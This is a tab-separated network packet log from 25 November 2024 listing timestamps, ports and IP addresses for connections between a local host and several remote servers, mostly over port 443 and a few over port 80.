Nov 25, 2024 05:46:26.595037937 CET	49736	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:26.595042944 CET	443	49736	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:26.595071077 CET	49736	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:26.595122099 CET	49736	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:26.595515013 CET	49736	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:26.595825911 CET	49736	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:26.596261024 CET	49736	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:26.596271038 CET	443	49736	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:26.607594967 CET	49743	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:26.607603073 CET	443	49743	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:26.607614994 CET	443	49743	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:26.607661963 CET	49743	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:26.607669115 CET	443	49743	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:26.607681990 CET	443	49743	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:26.607695103 CET	49743	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:26.607702017 CET	443	49743	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:26.607741117 CET	49743	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:26.607747078 CET	443	49743	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:26.607769012 CET	443	49743	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:26.607790947 CET	49743	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:26.607815027 CET	49743	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:26.607820034 CET	443	49743	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:26.607868910 CET	49743	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:26.607872963 CET	443	49743	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:26.607892036 CET	443	49743	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:26.607914925 CET	49743	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:26.607960939 CET	49743	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:26.608742952 CET	49743	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:26.608980894 CET	49743	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:26.609627008 CET	443	49746	13.107.246.63	192.168.2.6
Nov 25, 2024 05:46:26.610166073 CET	49746	443	192.168.2.6	13.107.246.63
Nov 25, 2024 05:46:26.610186100 CET	443	49746	13.107.246.63	192.168.2.6
Nov 25, 2024 05:46:26.610730886 CET	49746	443	192.168.2.6	13.107.246.63
Nov 25, 2024 05:46:26.610738993 CET	443	49746	13.107.246.63	192.168.2.6
Nov 25, 2024 05:46:26.610940933 CET	49743	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:26.610951900 CET	443	49743	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:26.611902952 CET	49742	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:26.611921072 CET	443	49742	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:26.611932039 CET	443	49742	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:26.611942053 CET	443	49742	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:26.611983061 CET	49742	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:26.611989975 CET	443	49742	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:26.612034082 CET	49742	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:26.612133026 CET	49742	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:26.612562895 CET	49742	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:26.613451958 CET	49742	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:26.613461971 CET	443	49742	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:26.621398926 CET	49745	443	192.168.2.6	2.16.158.89
Nov 25, 2024 05:46:26.621406078 CET	443	49745	2.16.158.89	192.168.2.6
Nov 25, 2024 05:46:26.749833107 CET	443	49748	13.107.246.63	192.168.2.6
Nov 25, 2024 05:46:26.750317097 CET	49748	443	192.168.2.6	13.107.246.63
Nov 25, 2024 05:46:26.750349045 CET	443	49748	13.107.246.63	192.168.2.6
Nov 25, 2024 05:46:26.750838041 CET	49748	443	192.168.2.6	13.107.246.63
Nov 25, 2024 05:46:26.750844002 CET	443	49748	13.107.246.63	192.168.2.6
Nov 25, 2024 05:46:26.774030924 CET	443	49747	13.107.246.63	192.168.2.6
Nov 25, 2024 05:46:26.774396896 CET	49747	443	192.168.2.6	13.107.246.63
Nov 25, 2024 05:46:26.774418116 CET	443	49747	13.107.246.63	192.168.2.6
Nov 25, 2024 05:46:26.774849892 CET	49747	443	192.168.2.6	13.107.246.63
Nov 25, 2024 05:46:26.774854898 CET	443	49747	13.107.246.63	192.168.2.6
Nov 25, 2024 05:46:26.857122898 CET	443	49750	13.107.246.63	192.168.2.6
Nov 25, 2024 05:46:26.857911110 CET	49750	443	192.168.2.6	13.107.246.63
Nov 25, 2024 05:46:26.857938051 CET	443	49750	13.107.246.63	192.168.2.6
Nov 25, 2024 05:46:26.858042002 CET	443	49749	13.107.246.63	192.168.2.6
Nov 25, 2024 05:46:26.858345032 CET	49750	443	192.168.2.6	13.107.246.63
Nov 25, 2024 05:46:26.858350992 CET	443	49750	13.107.246.63	192.168.2.6
Nov 25, 2024 05:46:26.858671904 CET	49749	443	192.168.2.6	13.107.246.63
Nov 25, 2024 05:46:26.858683109 CET	443	49749	13.107.246.63	192.168.2.6
Nov 25, 2024 05:46:26.859110117 CET	49749	443	192.168.2.6	13.107.246.63
Nov 25, 2024 05:46:26.859117031 CET	443	49749	13.107.246.63	192.168.2.6
Nov 25, 2024 05:46:27.043278933 CET	443	49746	13.107.246.63	192.168.2.6
Nov 25, 2024 05:46:27.043366909 CET	443	49746	13.107.246.63	192.168.2.6
Nov 25, 2024 05:46:27.043426037 CET	49746	443	192.168.2.6	13.107.246.63
Nov 25, 2024 05:46:27.045437098 CET	49746	443	192.168.2.6	13.107.246.63
Nov 25, 2024 05:46:27.045479059 CET	443	49746	13.107.246.63	192.168.2.6
Nov 25, 2024 05:46:27.045495987 CET	49746	443	192.168.2.6	13.107.246.63
Nov 25, 2024 05:46:27.045507908 CET	443	49746	13.107.246.63	192.168.2.6
Nov 25, 2024 05:46:27.051542044 CET	49762	443	192.168.2.6	13.107.246.63
Nov 25, 2024 05:46:27.051579952 CET	443	49762	13.107.246.63	192.168.2.6
Nov 25, 2024 05:46:27.051718950 CET	49762	443	192.168.2.6	13.107.246.63
Nov 25, 2024 05:46:27.052067041 CET	49762	443	192.168.2.6	13.107.246.63
Nov 25, 2024 05:46:27.052088976 CET	443	49762	13.107.246.63	192.168.2.6
Nov 25, 2024 05:46:27.223433018 CET	443	49748	13.107.246.63	192.168.2.6
Nov 25, 2024 05:46:27.223593950 CET	443	49748	13.107.246.63	192.168.2.6
Nov 25, 2024 05:46:27.223661900 CET	49748	443	192.168.2.6	13.107.246.63
Nov 25, 2024 05:46:27.223964930 CET	49748	443	192.168.2.6	13.107.246.63
Nov 25, 2024 05:46:27.223964930 CET	49748	443	192.168.2.6	13.107.246.63
Nov 25, 2024 05:46:27.223985910 CET	443	49748	13.107.246.63	192.168.2.6
Nov 25, 2024 05:46:27.224003077 CET	443	49748	13.107.246.63	192.168.2.6
Nov 25, 2024 05:46:27.226295948 CET	49763	443	192.168.2.6	13.107.246.63
Nov 25, 2024 05:46:27.226332903 CET	443	49763	13.107.246.63	192.168.2.6
Nov 25, 2024 05:46:27.226411104 CET	49763	443	192.168.2.6	13.107.246.63
Nov 25, 2024 05:46:27.226696968 CET	49763	443	192.168.2.6	13.107.246.63
Nov 25, 2024 05:46:27.226721048 CET	443	49763	13.107.246.63	192.168.2.6
Nov 25, 2024 05:46:27.228981972 CET	443	49747	13.107.246.63	192.168.2.6
Nov 25, 2024 05:46:27.229053020 CET	443	49747	13.107.246.63	192.168.2.6
Nov 25, 2024 05:46:27.229367971 CET	49747	443	192.168.2.6	13.107.246.63
Nov 25, 2024 05:46:27.229564905 CET	49747	443	192.168.2.6	13.107.246.63
Nov 25, 2024 05:46:27.229574919 CET	443	49747	13.107.246.63	192.168.2.6
Nov 25, 2024 05:46:27.229598999 CET	49747	443	192.168.2.6	13.107.246.63
Nov 25, 2024 05:46:27.229604006 CET	443	49747	13.107.246.63	192.168.2.6
Nov 25, 2024 05:46:27.232760906 CET	49764	443	192.168.2.6	13.107.246.63
Nov 25, 2024 05:46:27.232794046 CET	443	49764	13.107.246.63	192.168.2.6
Nov 25, 2024 05:46:27.232976913 CET	49764	443	192.168.2.6	13.107.246.63
Nov 25, 2024 05:46:27.233097076 CET	49764	443	192.168.2.6	13.107.246.63
Nov 25, 2024 05:46:27.233115911 CET	443	49764	13.107.246.63	192.168.2.6
Nov 25, 2024 05:46:27.301713943 CET	443	49749	13.107.246.63	192.168.2.6
Nov 25, 2024 05:46:27.301795006 CET	443	49749	13.107.246.63	192.168.2.6
Nov 25, 2024 05:46:27.302054882 CET	49749	443	192.168.2.6	13.107.246.63
Nov 25, 2024 05:46:27.302093983 CET	49749	443	192.168.2.6	13.107.246.63
Nov 25, 2024 05:46:27.302104950 CET	443	49749	13.107.246.63	192.168.2.6
Nov 25, 2024 05:46:27.302123070 CET	49749	443	192.168.2.6	13.107.246.63
Nov 25, 2024 05:46:27.302128077 CET	443	49749	13.107.246.63	192.168.2.6
Nov 25, 2024 05:46:27.302392960 CET	443	49750	13.107.246.63	192.168.2.6
Nov 25, 2024 05:46:27.302459002 CET	443	49750	13.107.246.63	192.168.2.6
Nov 25, 2024 05:46:27.302597046 CET	49750	443	192.168.2.6	13.107.246.63
Nov 25, 2024 05:46:27.302951097 CET	49750	443	192.168.2.6	13.107.246.63
Nov 25, 2024 05:46:27.302951097 CET	49750	443	192.168.2.6	13.107.246.63
Nov 25, 2024 05:46:27.302968979 CET	443	49750	13.107.246.63	192.168.2.6
Nov 25, 2024 05:46:27.302978039 CET	443	49750	13.107.246.63	192.168.2.6
Nov 25, 2024 05:46:27.305094004 CET	49765	443	192.168.2.6	13.107.246.63
Nov 25, 2024 05:46:27.305110931 CET	443	49765	13.107.246.63	192.168.2.6
Nov 25, 2024 05:46:27.305290937 CET	49765	443	192.168.2.6	13.107.246.63
Nov 25, 2024 05:46:27.306322098 CET	49766	443	192.168.2.6	13.107.246.63
Nov 25, 2024 05:46:27.306349039 CET	443	49766	13.107.246.63	192.168.2.6
Nov 25, 2024 05:46:27.306456089 CET	49766	443	192.168.2.6	13.107.246.63
Nov 25, 2024 05:46:27.306701899 CET	49765	443	192.168.2.6	13.107.246.63
Nov 25, 2024 05:46:27.306715965 CET	443	49765	13.107.246.63	192.168.2.6
Nov 25, 2024 05:46:27.307189941 CET	49766	443	192.168.2.6	13.107.246.63
Nov 25, 2024 05:46:27.307204008 CET	443	49766	13.107.246.63	192.168.2.6
Nov 25, 2024 05:46:27.630352974 CET	49767	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:27.630389929 CET	443	49767	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:27.630723000 CET	49767	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:27.631067038 CET	49767	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:27.631079912 CET	443	49767	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:27.636825085 CET	49768	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:27.636897087 CET	443	49768	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:27.636987925 CET	49768	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:27.637579918 CET	49768	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:27.637613058 CET	443	49768	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:27.746717930 CET	49769	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:27.746737957 CET	443	49769	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:27.746831894 CET	49769	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:27.751235962 CET	49769	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:27.751249075 CET	443	49769	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:27.989891052 CET	443	49756	142.250.181.68	192.168.2.6
Nov 25, 2024 05:46:27.990170956 CET	49756	443	192.168.2.6	142.250.181.68
Nov 25, 2024 05:46:27.990180969 CET	443	49756	142.250.181.68	192.168.2.6
Nov 25, 2024 05:46:27.991229057 CET	443	49756	142.250.181.68	192.168.2.6
Nov 25, 2024 05:46:27.991323948 CET	49756	443	192.168.2.6	142.250.181.68
Nov 25, 2024 05:46:27.992369890 CET	49756	443	192.168.2.6	142.250.181.68
Nov 25, 2024 05:46:27.992436886 CET	443	49756	142.250.181.68	192.168.2.6
Nov 25, 2024 05:46:27.992839098 CET	49756	443	192.168.2.6	142.250.181.68
Nov 25, 2024 05:46:27.992846012 CET	443	49756	142.250.181.68	192.168.2.6
Nov 25, 2024 05:46:28.034703970 CET	443	49757	142.250.181.68	192.168.2.6
Nov 25, 2024 05:46:28.034976006 CET	49757	443	192.168.2.6	142.250.181.68
Nov 25, 2024 05:46:28.034991980 CET	443	49757	142.250.181.68	192.168.2.6
Nov 25, 2024 05:46:28.036437035 CET	443	49757	142.250.181.68	192.168.2.6
Nov 25, 2024 05:46:28.036519051 CET	49757	443	192.168.2.6	142.250.181.68
Nov 25, 2024 05:46:28.036942959 CET	49757	443	192.168.2.6	142.250.181.68
Nov 25, 2024 05:46:28.037020922 CET	49757	443	192.168.2.6	142.250.181.68
Nov 25, 2024 05:46:28.037024975 CET	443	49757	142.250.181.68	192.168.2.6
Nov 25, 2024 05:46:28.039396048 CET	49756	443	192.168.2.6	142.250.181.68
Nov 25, 2024 05:46:28.083332062 CET	443	49757	142.250.181.68	192.168.2.6
Nov 25, 2024 05:46:28.086245060 CET	49757	443	192.168.2.6	142.250.181.68
Nov 25, 2024 05:46:28.086261988 CET	443	49757	142.250.181.68	192.168.2.6
Nov 25, 2024 05:46:28.088320017 CET	443	49759	142.250.181.68	192.168.2.6
Nov 25, 2024 05:46:28.088746071 CET	49759	443	192.168.2.6	142.250.181.68
Nov 25, 2024 05:46:28.088754892 CET	443	49759	142.250.181.68	192.168.2.6
Nov 25, 2024 05:46:28.089767933 CET	443	49759	142.250.181.68	192.168.2.6
Nov 25, 2024 05:46:28.089835882 CET	49759	443	192.168.2.6	142.250.181.68
Nov 25, 2024 05:46:28.090229034 CET	49759	443	192.168.2.6	142.250.181.68
Nov 25, 2024 05:46:28.090297937 CET	443	49759	142.250.181.68	192.168.2.6
Nov 25, 2024 05:46:28.090400934 CET	49759	443	192.168.2.6	142.250.181.68
Nov 25, 2024 05:46:28.090415955 CET	443	49759	142.250.181.68	192.168.2.6
Nov 25, 2024 05:46:28.097256899 CET	443	49758	142.250.181.68	192.168.2.6
Nov 25, 2024 05:46:28.097465038 CET	49758	443	192.168.2.6	142.250.181.68
Nov 25, 2024 05:46:28.097471952 CET	443	49758	142.250.181.68	192.168.2.6
Nov 25, 2024 05:46:28.098968983 CET	443	49758	142.250.181.68	192.168.2.6
Nov 25, 2024 05:46:28.099051952 CET	49758	443	192.168.2.6	142.250.181.68
Nov 25, 2024 05:46:28.099390030 CET	49758	443	192.168.2.6	142.250.181.68
Nov 25, 2024 05:46:28.099478006 CET	443	49758	142.250.181.68	192.168.2.6
Nov 25, 2024 05:46:28.099517107 CET	49758	443	192.168.2.6	142.250.181.68
Nov 25, 2024 05:46:28.133143902 CET	49757	443	192.168.2.6	142.250.181.68
Nov 25, 2024 05:46:28.133222103 CET	49759	443	192.168.2.6	142.250.181.68
Nov 25, 2024 05:46:28.143373013 CET	443	49758	142.250.181.68	192.168.2.6
Nov 25, 2024 05:46:28.148747921 CET	49758	443	192.168.2.6	142.250.181.68
Nov 25, 2024 05:46:28.148753881 CET	443	49758	142.250.181.68	192.168.2.6
Nov 25, 2024 05:46:28.195067883 CET	49758	443	192.168.2.6	142.250.181.68
Nov 25, 2024 05:46:28.202528954 CET	49757	443	192.168.2.6	142.250.181.68
Nov 25, 2024 05:46:28.203385115 CET	443	49757	142.250.181.68	192.168.2.6
Nov 25, 2024 05:46:28.203448057 CET	49757	443	192.168.2.6	142.250.181.68
Nov 25, 2024 05:46:28.736126900 CET	80	49724	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:28.736180067 CET	49724	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:28.770704985 CET	443	49762	13.107.246.63	192.168.2.6
Nov 25, 2024 05:46:28.771173000 CET	49762	443	192.168.2.6	13.107.246.63
Nov 25, 2024 05:46:28.771193981 CET	443	49762	13.107.246.63	192.168.2.6
Nov 25, 2024 05:46:28.772017002 CET	49762	443	192.168.2.6	13.107.246.63
Nov 25, 2024 05:46:28.772025108 CET	443	49762	13.107.246.63	192.168.2.6
Nov 25, 2024 05:46:28.837937117 CET	443	49756	142.250.181.68	192.168.2.6
Nov 25, 2024 05:46:28.838078976 CET	443	49756	142.250.181.68	192.168.2.6
Nov 25, 2024 05:46:28.838126898 CET	49756	443	192.168.2.6	142.250.181.68
Nov 25, 2024 05:46:28.839819908 CET	49756	443	192.168.2.6	142.250.181.68
Nov 25, 2024 05:46:28.839828968 CET	443	49756	142.250.181.68	192.168.2.6
Nov 25, 2024 05:46:28.953002930 CET	443	49759	142.250.181.68	192.168.2.6
Nov 25, 2024 05:46:28.953063011 CET	443	49759	142.250.181.68	192.168.2.6
Nov 25, 2024 05:46:28.953098059 CET	443	49759	142.250.181.68	192.168.2.6
Nov 25, 2024 05:46:28.953129053 CET	443	49759	142.250.181.68	192.168.2.6
Nov 25, 2024 05:46:28.953133106 CET	49759	443	192.168.2.6	142.250.181.68
Nov 25, 2024 05:46:28.953149080 CET	443	49759	142.250.181.68	192.168.2.6
Nov 25, 2024 05:46:28.953185081 CET	49759	443	192.168.2.6	142.250.181.68
Nov 25, 2024 05:46:28.956953049 CET	443	49758	142.250.181.68	192.168.2.6
Nov 25, 2024 05:46:28.957103014 CET	443	49758	142.250.181.68	192.168.2.6
Nov 25, 2024 05:46:28.957153082 CET	49758	443	192.168.2.6	142.250.181.68
Nov 25, 2024 05:46:28.958086014 CET	49758	443	192.168.2.6	142.250.181.68
Nov 25, 2024 05:46:28.958091021 CET	443	49758	142.250.181.68	192.168.2.6
Nov 25, 2024 05:46:28.961204052 CET	443	49759	142.250.181.68	192.168.2.6
Nov 25, 2024 05:46:28.961287975 CET	49759	443	192.168.2.6	142.250.181.68
Nov 25, 2024 05:46:28.961298943 CET	443	49759	142.250.181.68	192.168.2.6
Nov 25, 2024 05:46:28.975300074 CET	443	49759	142.250.181.68	192.168.2.6
Nov 25, 2024 05:46:28.975348949 CET	49759	443	192.168.2.6	142.250.181.68
Nov 25, 2024 05:46:28.975358963 CET	443	49759	142.250.181.68	192.168.2.6
Nov 25, 2024 05:46:28.984889030 CET	443	49759	142.250.181.68	192.168.2.6
Nov 25, 2024 05:46:28.984950066 CET	49759	443	192.168.2.6	142.250.181.68
Nov 25, 2024 05:46:28.984957933 CET	443	49759	142.250.181.68	192.168.2.6
Nov 25, 2024 05:46:29.006637096 CET	443	49763	13.107.246.63	192.168.2.6
Nov 25, 2024 05:46:29.013488054 CET	49763	443	192.168.2.6	13.107.246.63
Nov 25, 2024 05:46:29.013518095 CET	443	49763	13.107.246.63	192.168.2.6
Nov 25, 2024 05:46:29.014405966 CET	49763	443	192.168.2.6	13.107.246.63
Nov 25, 2024 05:46:29.014416933 CET	443	49763	13.107.246.63	192.168.2.6
Nov 25, 2024 05:46:29.021683931 CET	443	49764	13.107.246.63	192.168.2.6
Nov 25, 2024 05:46:29.022324085 CET	49764	443	192.168.2.6	13.107.246.63
Nov 25, 2024 05:46:29.022334099 CET	443	49764	13.107.246.63	192.168.2.6
Nov 25, 2024 05:46:29.023021936 CET	49764	443	192.168.2.6	13.107.246.63
Nov 25, 2024 05:46:29.023035049 CET	443	49764	13.107.246.63	192.168.2.6
Nov 25, 2024 05:46:29.072559118 CET	443	49759	142.250.181.68	192.168.2.6
Nov 25, 2024 05:46:29.072731018 CET	49759	443	192.168.2.6	142.250.181.68
Nov 25, 2024 05:46:29.072743893 CET	443	49759	142.250.181.68	192.168.2.6
Nov 25, 2024 05:46:29.085469007 CET	443	49766	13.107.246.63	192.168.2.6
Nov 25, 2024 05:46:29.086364031 CET	443	49765	13.107.246.63	192.168.2.6
Nov 25, 2024 05:46:29.086855888 CET	49766	443	192.168.2.6	13.107.246.63
Nov 25, 2024 05:46:29.086865902 CET	443	49766	13.107.246.63	192.168.2.6
Nov 25, 2024 05:46:29.087393045 CET	49766	443	192.168.2.6	13.107.246.63
Nov 25, 2024 05:46:29.087398052 CET	443	49766	13.107.246.63	192.168.2.6
Nov 25, 2024 05:46:29.088238955 CET	49765	443	192.168.2.6	13.107.246.63
Nov 25, 2024 05:46:29.088252068 CET	443	49765	13.107.246.63	192.168.2.6
Nov 25, 2024 05:46:29.089065075 CET	49765	443	192.168.2.6	13.107.246.63
Nov 25, 2024 05:46:29.089070082 CET	443	49765	13.107.246.63	192.168.2.6
Nov 25, 2024 05:46:29.144674063 CET	443	49759	142.250.181.68	192.168.2.6
Nov 25, 2024 05:46:29.144875050 CET	49759	443	192.168.2.6	142.250.181.68
Nov 25, 2024 05:46:29.144886971 CET	443	49759	142.250.181.68	192.168.2.6
Nov 25, 2024 05:46:29.154283047 CET	443	49759	142.250.181.68	192.168.2.6
Nov 25, 2024 05:46:29.154347897 CET	49759	443	192.168.2.6	142.250.181.68
Nov 25, 2024 05:46:29.154359102 CET	443	49759	142.250.181.68	192.168.2.6
Nov 25, 2024 05:46:29.164283037 CET	443	49759	142.250.181.68	192.168.2.6
Nov 25, 2024 05:46:29.164460897 CET	49759	443	192.168.2.6	142.250.181.68
Nov 25, 2024 05:46:29.164469957 CET	443	49759	142.250.181.68	192.168.2.6
Nov 25, 2024 05:46:29.177932978 CET	443	49759	142.250.181.68	192.168.2.6
Nov 25, 2024 05:46:29.178011894 CET	49759	443	192.168.2.6	142.250.181.68
Nov 25, 2024 05:46:29.178020000 CET	443	49759	142.250.181.68	192.168.2.6
Nov 25, 2024 05:46:29.191494942 CET	443	49759	142.250.181.68	192.168.2.6
Nov 25, 2024 05:46:29.191571951 CET	49759	443	192.168.2.6	142.250.181.68
Nov 25, 2024 05:46:29.191579103 CET	443	49759	142.250.181.68	192.168.2.6
Nov 25, 2024 05:46:29.204673052 CET	443	49759	142.250.181.68	192.168.2.6
Nov 25, 2024 05:46:29.204756975 CET	49759	443	192.168.2.6	142.250.181.68
Nov 25, 2024 05:46:29.204763889 CET	443	49759	142.250.181.68	192.168.2.6
Nov 25, 2024 05:46:29.204771996 CET	443	49762	13.107.246.63	192.168.2.6
Nov 25, 2024 05:46:29.204893112 CET	443	49762	13.107.246.63	192.168.2.6
Nov 25, 2024 05:46:29.204962015 CET	49762	443	192.168.2.6	13.107.246.63
Nov 25, 2024 05:46:29.205497980 CET	49762	443	192.168.2.6	13.107.246.63
Nov 25, 2024 05:46:29.205497980 CET	49762	443	192.168.2.6	13.107.246.63
Nov 25, 2024 05:46:29.205521107 CET	443	49762	13.107.246.63	192.168.2.6
Nov 25, 2024 05:46:29.205533981 CET	443	49762	13.107.246.63	192.168.2.6
Nov 25, 2024 05:46:29.208679914 CET	49771	443	192.168.2.6	13.107.246.63
Nov 25, 2024 05:46:29.208709955 CET	443	49771	13.107.246.63	192.168.2.6
Nov 25, 2024 05:46:29.208808899 CET	49771	443	192.168.2.6	13.107.246.63
Nov 25, 2024 05:46:29.209405899 CET	49771	443	192.168.2.6	13.107.246.63
Nov 25, 2024 05:46:29.209419966 CET	443	49771	13.107.246.63	192.168.2.6
Nov 25, 2024 05:46:29.210479975 CET	443	49767	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:29.210547924 CET	49767	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:29.211031914 CET	49767	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:29.211041927 CET	443	49767	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:29.212918043 CET	49767	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:29.212923050 CET	443	49767	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:29.218332052 CET	443	49759	142.250.181.68	192.168.2.6
Nov 25, 2024 05:46:29.218416929 CET	49759	443	192.168.2.6	142.250.181.68
Nov 25, 2024 05:46:29.218425035 CET	443	49759	142.250.181.68	192.168.2.6
Nov 25, 2024 05:46:29.224160910 CET	443	49768	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:29.224236965 CET	49768	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:29.225323915 CET	49768	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:29.225334883 CET	443	49768	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:29.225501060 CET	49768	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:29.225512028 CET	443	49768	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:29.231959105 CET	443	49759	142.250.181.68	192.168.2.6
Nov 25, 2024 05:46:29.232049942 CET	49759	443	192.168.2.6	142.250.181.68
Nov 25, 2024 05:46:29.232059002 CET	443	49759	142.250.181.68	192.168.2.6
Nov 25, 2024 05:46:29.245997906 CET	443	49759	142.250.181.68	192.168.2.6
Nov 25, 2024 05:46:29.246074915 CET	49759	443	192.168.2.6	142.250.181.68
Nov 25, 2024 05:46:29.246082067 CET	443	49759	142.250.181.68	192.168.2.6
Nov 25, 2024 05:46:29.259430885 CET	443	49759	142.250.181.68	192.168.2.6
Nov 25, 2024 05:46:29.259603977 CET	49759	443	192.168.2.6	142.250.181.68
Nov 25, 2024 05:46:29.259613991 CET	443	49759	142.250.181.68	192.168.2.6
Nov 25, 2024 05:46:29.272893906 CET	443	49759	142.250.181.68	192.168.2.6
Nov 25, 2024 05:46:29.272957087 CET	49759	443	192.168.2.6	142.250.181.68
Nov 25, 2024 05:46:29.272964001 CET	443	49759	142.250.181.68	192.168.2.6
Nov 25, 2024 05:46:29.283519030 CET	443	49759	142.250.181.68	192.168.2.6
Nov 25, 2024 05:46:29.283709049 CET	49759	443	192.168.2.6	142.250.181.68
Nov 25, 2024 05:46:29.283724070 CET	443	49759	142.250.181.68	192.168.2.6
Nov 25, 2024 05:46:29.332571983 CET	443	49769	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:29.332664013 CET	49769	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:29.333204031 CET	49769	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:29.333211899 CET	443	49769	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:29.333605051 CET	49769	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:29.333617926 CET	443	49769	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:29.336566925 CET	443	49759	142.250.181.68	192.168.2.6
Nov 25, 2024 05:46:29.336643934 CET	49759	443	192.168.2.6	142.250.181.68
Nov 25, 2024 05:46:29.336652994 CET	443	49759	142.250.181.68	192.168.2.6
Nov 25, 2024 05:46:29.339108944 CET	443	49759	142.250.181.68	192.168.2.6
Nov 25, 2024 05:46:29.339171886 CET	49759	443	192.168.2.6	142.250.181.68
Nov 25, 2024 05:46:29.339179039 CET	443	49759	142.250.181.68	192.168.2.6
Nov 25, 2024 05:46:29.344598055 CET	443	49759	142.250.181.68	192.168.2.6
Nov 25, 2024 05:46:29.344656944 CET	49759	443	192.168.2.6	142.250.181.68
Nov 25, 2024 05:46:29.344662905 CET	443	49759	142.250.181.68	192.168.2.6
Nov 25, 2024 05:46:29.354602098 CET	443	49759	142.250.181.68	192.168.2.6
Nov 25, 2024 05:46:29.354662895 CET	49759	443	192.168.2.6	142.250.181.68
Nov 25, 2024 05:46:29.354670048 CET	443	49759	142.250.181.68	192.168.2.6
Nov 25, 2024 05:46:29.364820004 CET	443	49759	142.250.181.68	192.168.2.6
Nov 25, 2024 05:46:29.364912987 CET	49759	443	192.168.2.6	142.250.181.68
Nov 25, 2024 05:46:29.364922047 CET	443	49759	142.250.181.68	192.168.2.6
Nov 25, 2024 05:46:29.374866962 CET	443	49759	142.250.181.68	192.168.2.6
Nov 25, 2024 05:46:29.374953032 CET	49759	443	192.168.2.6	142.250.181.68
Nov 25, 2024 05:46:29.374960899 CET	443	49759	142.250.181.68	192.168.2.6
Nov 25, 2024 05:46:29.384946108 CET	443	49759	142.250.181.68	192.168.2.6
Nov 25, 2024 05:46:29.385232925 CET	49759	443	192.168.2.6	142.250.181.68
Nov 25, 2024 05:46:29.385241985 CET	443	49759	142.250.181.68	192.168.2.6
Nov 25, 2024 05:46:29.395041943 CET	443	49759	142.250.181.68	192.168.2.6
Nov 25, 2024 05:46:29.395152092 CET	49759	443	192.168.2.6	142.250.181.68
Nov 25, 2024 05:46:29.395162106 CET	443	49759	142.250.181.68	192.168.2.6
Nov 25, 2024 05:46:29.405064106 CET	443	49759	142.250.181.68	192.168.2.6
Nov 25, 2024 05:46:29.405201912 CET	49759	443	192.168.2.6	142.250.181.68
Nov 25, 2024 05:46:29.405213118 CET	443	49759	142.250.181.68	192.168.2.6
